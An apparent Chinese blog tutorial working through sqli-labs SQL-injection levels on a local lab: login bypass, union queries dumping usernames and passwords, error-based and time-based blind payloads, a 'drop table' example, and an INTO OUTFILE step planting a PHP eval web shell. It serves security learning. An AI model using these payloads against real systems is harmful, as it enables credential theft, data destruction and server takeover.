SQL注入学习——sqli-labs闯关(Basic Challenges)
文章目录
- 前言
- 一、漏洞介绍
- 二、靶场练习
- 基础知识:
- Less1 基于错误的GET单引号字符型注入
- Less2 基于错误的GET数字型注入
- Less3 基于错误的GET单引号变形注入
- Less4 基于错误的GET双引号注入
- 盲注介绍:
- Less5 基于报错的GET单引号盲注
- Less6 基于报错的GET双引号盲注
- Less7 导出文件GET字符型注入
- Less8 布尔型GET单引号盲注
- Less9 基于时间的GET单引号盲注
- Less10 基于时间的GET双引号盲注
- Less11 基于错误的POST单引号注入
- Less12 基于错误的POST双引号变形注入
- Less13 基于报错的POST单引号变形盲注
- Less14 基于报错的POST双引号盲注
- Less15 基于时间的单引号POST盲注
- Less16 基于时间的双引号POST盲注
- Less17 基于错误的更新查询POST注入
- Less18 基于错误的用户代理,头部POST注入
- Less19 基于头部的Referer POST报错注入
- Less20 基于错误的cookie头部POST注入
前言
今天开始学习 SQL 注入的相关知识,通过 sqli-labs 靶场来练习。靶场地址
一、漏洞介绍
1、什么是SQL注入?
SQL注入(SQL Injection)是一种常见的 Web 安全漏洞,攻击者通过构造SQL语句与后台数据库进行交互,达到获取或修改一些敏感数据,或者利用潜在的数据库漏洞进行攻击的目的。
2、SQL注入原理:
SQL注入是发生于 Web 应用与数据库层的安全漏洞,漏洞的本质是代码和数据未分离,通过在用户可控参数中注入SQL语句,若程序未对输入的指令进行合法性判断,注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而运行,达到编写程序时意料之外结果的攻击行为。
例:
下图是一个正常的登录表单,输入正确的账号和密码后,程序会查询数据库,如果存在此用户并且密码正确,将会成功登录;如果用户不存在或者密码不正确,则会提示账号或者密码错误。
接下来使用一个比较特殊的用户 1' or 1=1#
登录,输入用户名:1’ or 1=1#,密码可以随意填写或者不写,点击“登录”按钮后,发现是可以正常登录的。
为什么密码随意输入都可以进入后台呢?数据库里并没有 1’ or 1=1# 这个用户,难道是程序出错了吗?
通过分析SQL语句,发现最终执行的SQL语句为:
select * from user where username='$name' and password='$pass';
当输入这个特殊用户 1’ or 1=1# 时,最终执行的SQL语句为:
select * from user where username='1' or 1=1# and password=''
此时的#
后面的 password 根本起不了任何作用,因为它已经被注释了,而且 username='1' or 1=1
这条语句永远为真,那么最终执行的SQL语句相当于:
select * from user //查询user表所有的数据条数
很显然,返回条数大于0,所以可以顺利通过验证,登录成功。这就是一次最简单的SQL注入过程。虽然过程很简单,但其危害却很大,比如,在用户名位置处输入以下SQL语句:
1'or 1=1;drop table user#
因为 SQL Server 支持多语句执行,所以这里可以直接删除 user 表。
由此可得知,SQL注入漏洞的形成原因就是:用户输入的数据被SQL解释器执行。
3、注入漏洞分类:
在测试注入漏洞之前,首先要弄清楚一个概念:注入的分类,明白了分类之后,再测试注入将起到事半功倍的效果。
常见的SQL注入类型包括:数字型 和 字符型。也有人把类型分得更多、更细。但不管注入类型如何,攻击者的目的只有一点,那就是绕过程序限制,使用户输入的数据带入数据库执行,利用数据库的特殊性获取更多的信息或者更大的权限。
1、数字型注入:
当输入的参数为整型时,如:ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入,数字型注入是最简单的一种。假设有URL http://www.xxx.com/test.php?id=3
,可以猜测SQL语句为:
select * from table where id=3
测试步骤如下:
1、加单引号,URL:http://www.xxx.com/test.php?id=3’
对应的SQL:select * from table where id=3'
这时SQL语句出错,程序无法正常从数据库中查询出数据,就会抛出异常。
2、加and 1=1
,URL:http://www.xxx.com/test.php?id=3 and 1=1
对应的SQL:select * from table where id=3 and 1=1
语句执行正常,返回数据与原始请求无任何差异。
3、加and 1=2
,URL:http://www.xxx.com/test.php?id=3 and 1=2
对应的SQL:select * from table where id=3 and 1=2
语句执行正常,但却无法查询出数据,因为and 1=2
始终为假。所以返回数据与原始请求有差异。
如果以上三个步骤全部满足,则程序就可能存在数字型SQL注入。
2、字符型注入:
当输入的参数为字符串时,称为字符型。数字型与字符型注入的最大区别在于:数字型不需要单引号来闭合,而字符串类型一般要使用单引号来闭合的。
-
数字型语句:
select * from table where id =3
-
字符型语句:
select * from table where username ='admin'
字符型注入最关键的是如何闭合SQL语句以及注释多余的代码。
当查询内容为字符串时 select * from table where username ='admin'
测试步骤:
1、加单引号:select * from table where username ='admin''
,由于加单引号后变成三个单引号,无法执行,程序会报错。
2、加and 1=1
(或者1=2) 此时SQL语句为:select * from table where username='admin and 1=1'
,也无法进行注入,因为admin and 1=1
会被数据库当作查询的字符串。这时想要进行注入,则必须注意字符串闭合问题。
3、加'and 1=1--+
(and 前面的单引号闭合'admin'
,--
注释后面的单引号 )就可以继续注入,SQL语句如下:
select * from table where username ='admin' and 1=1--+'
当输入'and 1=2--+
时,就和上面数字型同理,语句执行正常,但却无法查询出数据。
总结:数字型注入不需要闭合单引号以及注释;字符型注入必须闭合单引号以及注释多余的代码。
补充:
Mysql常用注释符:
--
:注意,这种注释符后边有一个空格,通常写为--+
,+
会在传递中变成空格#
:通过#
进行注释,URL编码为%23
3、其它分类:
总的来说,SQL注入只分为 “数字型” 与 “字符型”,因为对数据库进行数据查询时,输入数据一般只有两种:一个是数字类型,比如 where id=1、where age > 20,另外是一个字符串类型,比如 where name=‘root’、where datetime > ‘2013-08-18’。
可能不同的数据库语法上存在差异,但带入数据库查询时一定是数字或字符串。所以无论是POST注入,还是其类型注入,都可归纳为数字型注入或者字符型注入。
那么Cookie注入、POST注入等是怎么回事呢?其实这类注入主要通过注入的位置来分辨,比如有以下请求:
此时为POST 请求,但是POST数据中的username字段存在注入漏洞,一般都会直接说POST注入,却不再考虑username是什么类型的注入,如果此时的HTTP请求如下:
那么是否又应该叫做GET注入呢?
以下是一些常见的注入叫法:
-
POST注入:注入字段在 POST 数据中
-
Cookie注入:注入字段在Cookie数据中
-
延时注入:使用数据库延时特性注入
-
搜索注入:注入处为搜索的地点
-
base64注入:注入字符串需要经过base64加密
🆗,了解了这些基础知识后就开始练习吧!
二、靶场练习
基础知识:
在开始注入之前,还需要知道一些关于 Mysql 的基础知识。
1)系统函数:
- version()——Mysql版本
- user()——数据库用户名
- database()——数据库名
- @@datadir——数据库路径
- @@basedir——获取安装路径
- @@version_compile_os——操作系统版本
2)字符串连接函数:
-
concat(str1,str2,…) —— 没有分隔符地连接字符串
例:concat_ws('11','22','33')
:112233
-
concat_ws(separator,str1,str2,…) —— 含有分隔符地连接字符串,第一个参数是其它参数的分隔符。
例:concat_ws(':','11','22','33')
:11:22:33
-
group_concat(str1,str2,…) —— 使多行数据在一行显示,并以逗号分开
简单来说使用这三个函数的目的就是:能一次性查出多条信息。
3)常见的闭合符号:
$id
'$id'
"$id"
($id)
('$id')
("$id")
(('$id'))
4)系统数据库 information_schema,存储着所有的数据库的相关信息,里面有三张表:
-
information_schema.schemata:包含所有库 库名的表
常用字段:schema_name 数据库名 -
information_schema.tables:包含所有库 表名的表
常用字段:table_name 表名;table_schema 数据库名 -
information_schema.columns:包含所有库 表字段的表
常用字段:column_name 列名;table_schema 数据库名;table_name 表名
一般的,我们利用该表可以进行一次完整的注入,流程如下:
猜数据库
select schema_name from information_schema.schemata
猜某库的数据表
select table_name from information_schema.tables where table_schema=’xxxxx’
猜某表的所有列
select column_name from information_schema.columns where table_schema='xxx' and table_name=’xxxxx’
获取某列的内容
Select *** from ***
好的,正式开始吧!
Less1 基于错误的GET单引号字符型注入
先来确定是什么类型的注入,在http://127.0.0.1/sqli-labs/Less-1?id=1
后面添加一个'
发现报错了,说明我们添加的单引号被数据库成功解析,就可能存在注入。接下来输入?id=1 and 1=2
,发现页面没有变化,可以判断不是数字型注入。
PS:这里可能会有疑问,为什么id='1 and 1=2'
还可以正常查询出数据?最直接的办法就是自己测试一下,如图:
经过测试,得出的结论是:在 select 查询时,程序会忽略后面的字符串,只让id与第一个字符进行对比,如果存在即返回数据。
接着输入'and 1=2 %23
后页面发生变化,确定为字符型注入,并且闭合符号为单引号。
看下源码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
确实是单引号,确定注入的类型后,我们就可以构造相应的的SQL语句进行攻击了。
这时需要用到联合查询的方式来获取想要的信息,使用联合查询的前提是 union 后面的 select 语句必须和前面查询的列的数量、顺序、类型相同,否则数据库会报错,所以需要先查字段数。
确定字段数可以使用 order by,即通过排序的方式测出字段数:
从1开始依次测试,当按第4列数据进行排序时报错了
http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 4 %23
说明有三个字段,那么现在开始联合查询:
http://127.0.0.1/sqli-labs/Less-1/?id=1' union select 1,2,3%23
PS:select可以直接加数字串,不写后面的表名,它输出的内容就是我们select后的数字,这时select实际上没有向任何一个数据库查询数据,即查询命令不指向任何数据库的表。通常用来快速测试显示位。
先来看下这条SQL语句在数据库的执行情况:
程序在展示数据的时候通常只会取结果集的第一行,所以我们需要把前面的查询结果集变为空,这样才能显示我们想要的结果,同时又需要确定哪几个字段会被显示在页面上,这里令id=-1
也可以直接在后面添加and 1=2
两种方式都可以。再次测试:
可以看到2,3字段被显示出来,也就是说我们要在2或3字段上查询数据。🆗,知道了这些之后就可以真正开始SQL注入了!
1、爆数据库:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
成功得到所有的数据库!
2、查看当前数据库:
可以看到数据库名为:security,接着再查其他信息。
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,concat_ws(' : ',user(),database(),version())--+
OK,得到这些信息之后我们再来看看数据库有哪些表。
3、爆当前数据库的表:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
可以看到有四张表,我们想要的用户信息通常在 users表中。
4、爆users列名:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
这里需要注意指定 table_schema 字段,因为 users 表非常容易出现重复!
终于看到我们梦寐以求的 password 了!得到字段后接爆用户数据。
5、爆数据:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from security.users --+
如果只有一个显示位可以改为:?id=-1' union select 1,2,group_concat(username,' : ',password) from security.users--+
注意:因 users 表存在重复问题,最好加上数据库(又是一个小细节!)
也可以单独爆一个用户:
http://127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,username,password from security.users where id=2 --+
🆗,第一关到此圆满结束!!
Less2 基于错误的GET数字型注入
和上题思路一样,加单引号报错,加and 1=2
程序执行正常,但却无法查询出数据,那么就确定是数字型SQL注入了。
看下源码
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
确实是数字型,🆗,剩下的就和第一关一样,可以随意爆数据了。
Less3 基于错误的GET单引号变形注入
加单引号,页面报错
根据报错消息可以推断出闭合符号为('$id')
,测试 1') --+
程序执行正常,然后就可以进行注入了。
其余的 payload 与 less1 中一致,只需要 '
改为')
Less4 基于错误的GET双引号注入
同样的思路,先加单引号,然而发现没有报错,再用双引号测试,发现报错了
根据报错信息,推断出闭合符号应该是:("$id")
,测试:1") --+
然后就可以注入了,其余同上。
盲注介绍:
何为盲注?盲注就是在 sql 注入过程中,sql 语句执行后,查询的数据不能回显到前端页面上。此时,我们需要利用一些特殊的方法来得到数据,这个过程称之为盲注。盲注主要分为三类:
-
基于布尔的 SQL 盲注
-
基于时间的 SQL 盲注
-
基于报错的 SQL 盲注
因为这块内容较多,具体方法在下面的题目中详细讲解。
Less5 基于报错的GET单引号盲注
输入?id=1
没有显示数据,这是咋回事?看一下源码:
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
可以看到程序并没有将 $row
这个查询结果输出,即正确结果没有回显,但是错误信息还是会显示。页面没有显示位,所以无法使用联合查询。
先来确定注入类型,加单引号报错,加 and 1=2
页面没有变化,即非数字型,加'and 1=2--+
后页面发生变化,确定为字符型注入,并且闭合符号为单引号。
根据题目名字:双注入,查了一些大佬的文章之后终于明白了,双注入即 报错注入,利用嵌套查询来实现,形式为:select…(select…),里面的 select 被称为子查询,执行顺序是先执行子查询,然后再执行外面的 select。
双注入主要涉及到了下面几个SQL函数:
rand() 随机函数,返回0~1之间的一个值
floor(a) 取整函数,返回小于等于a的一个整数,没有四舍五入
count() 聚合函数
group by 分组函数
详解请看这篇文章:双注入详解
双注入的原理总的来说就是:当一个聚合函数 count 后面出现 group by 分组语句时,会将查询的一部分结果以报错的形式返回,它有一个固定的公式。
构造sql语句:
Less-5/?id=-1' union select count(*),2,concat('*',(select database()),'*',floor(rand()*2))as a from information_schema.tables group by a--+ //这里我们给查询的数据起了另一个名:a
OK得到数据库了,然后就可以以同样地方式得到其他信息。
获取表名:
?id=-1' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
查询用户信息:
?id=-1' union select count(*),2,concat('*',(select concat_ws(char(32,44,32),id,username,password) from users limit 1,1),'*',floor(rand()*2))as a from information_schema.tables group by a--+
第五关结束。
Less6 基于报错的GET双引号盲注
与上关是同一类型,这关使用的是双引号闭合,其余过程与前面类似,不再赘述。
Less7 导出文件GET字符型注入
输入?di=1
还是没有显示数据,接着输入?id=1'
页面报错,说明可能存在注入,输入?id=1 and 1=2
回显正常,说明不是数字型注入。
输入?id=1'--+
,显示报错,继续输入?id=1')--+
页面仍然报错, 多次尝试1' 1" 1') 1") 1'))
最后发现是1'))
,页面显示正常了。
查看下源码:
if($row)
{
echo '<font color= "#FFFF00">';
echo 'You are in.... Use outfile......';
echo "<br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
echo 'You have an error in your SQL syntax';
看到正常回显都是 You are in… Use outfile…,报错信息统一返回 You have an error in your SQL syntax
同时他也给出了提示:use outfile 也就是说需要使用 outfile 函数:
outfile 函数的作用就是将数据库的查询内容导出到一个外部文件
语法:select...into outfile 'file_name'
可以把被选择的行写入一个文件中,前提是要拥有 file 权限才能使用。file_name 不能是一个已经存在的文件。
现在还不知道数据库的路径,可以借助前面几关来获取数据库的路径:@@basedir 获取安装路径
http://localhost/sqli-labs/Less-1/?id=-1‘ union select 1,2,@@basedir --+
这样我们就可以知道网站应该是在C:/phpStudy/WWW/下,尝试写入一句话木马 ,构造代码:
?id=-1')) union select 1,"<?php @eval($_POST['smk']);?>",3 into outfile "C:\\phpStudy\\WWW\\123.php" --+
注意:这里要用双反斜杠
\\
,否则建立出来的文件名会加前缀。
页面回显错误,不过不用管,查看一下文件夹,可以看到文件已将写入目录下了,打开菜刀,右键添加 http://127.0.0.1/123.php
地址填入你上传文件的地址,后面的小方框中填入你构造的密码,也就是smk
连接成功,然后就可以为所欲为了,嘿嘿嘿。
真实场景中目的主要是获得数据库管理员信息,先找到 index.php 文件,寻找其中sql连接语句。
顺藤摸瓜,找到 sql-connect.php 文件
打开 db-creds.inc
就可以获得数据库管理员信息了!
Less8 布尔型GET单引号盲注
这关内容稍多,所以单独拿出来了,详情请看这篇文章:文章链接
同时这关也可以使用导出文件,菜刀连接的方法做,步骤和上题一样,这里给出payload:
?id=1' union select 1,"<?php @eval($_POST['smk']);?>",3 into outfile "C:\\phpStudy\\WWW\\123.php" --+
Less9 基于时间的GET单引号盲注
这关内容也很多,本关链接
Less10 基于时间的GET双引号盲注
与上关是同一类型,这关使用的是双引号闭合,其余过程与前面类似,不再赘述。
Less11 基于错误的POST单引号注入
从这一关开始,我们就进入到 post 注入的世界了。
先在 username 输入admin'
,password 空着,返回错误信息:
从错误信息可知在 username 处应该有注入点,并且可能为单引号闭合类型。
尝试万能语句admin' or 1=1#
发现登陆成功,而且用户默认为 dumb,确定为单引号闭合的字符型注入。
老样子,order by 确定列数,测得为2:
接着就开始爆破数据库、表名、列名。
1、数据库名:
在 username 栏输入:
1' union select 1,database()#
注意:post类型要用 # ,
--+
不能用
密码随便填
得到数据库名。
2、表名:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
3、列名:
1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
4、爆破用户名、密码
1' union select group_concat(username),group_concat(password) from security.users#
Less12 基于错误的POST双引号变形注入
先尝试 admin'
,页面无变化,应该不是单引号字符注入。尝试 admin"
,发现报错了。
从报错信息可知闭合方式为("")
,再测试代码 admin") or 1=1#
,密码随便,登录成功:
接下来就是爆数据库名、表名、列名、用户名以及密码,和第十一关一样,在此不再赘述。
Less13 基于报错的POST单引号变形盲注
Less14 基于报错的POST双引号盲注
和上关类似,这关使用的是双引号闭合,只需修改为admin"
即可。
Less15 基于时间的单引号POST盲注
尝试admin'
、admin"
、)
,发现没有回显报错信息,页面也没有任何变化,那么 bool 盲注就无法使用,那就只能说明可能为时间盲注。
多次测试,当输入下面代码时
admin' and sleep(5)#
时间延迟了5秒,确定闭合符号为单引号:
注意:这里不能使用1' and sleep(5)#
,因为前面的GET型中我们知道?id=1
这个条件本来就是true,而我们测试POST型的 username 为1,这个条件本身为 false,因为数据库没有这个用户,逻辑符是and:一假则假,所以不能使用。这里是知道存在用户 admin 直接用了。
如果不知道用户名可以使用万能语句进行测试,当输入1' or 1=1#
时,登陆成功,页面变化了,说明闭合符号就是单引号。
测试数据库名:
admin' and if(substr((select database()),1,1)='s',sleep(5),1)#
页面经过5s后响应,得到数据库第一位,接下来按部就班进行爆破,与前面 less9 类似,在此不再赘述。
Less16 基于时间的双引号POST盲注
和上关一样,区别是这关使用的双引号闭合,只需修改为admin"
即可。
admin" and if(substr((select database()),1,1)='s',sleep(5),1)#
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 分享4款.NET开源、免费、实用的商城系统
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· 记一次.NET内存居高不下排查解决与启示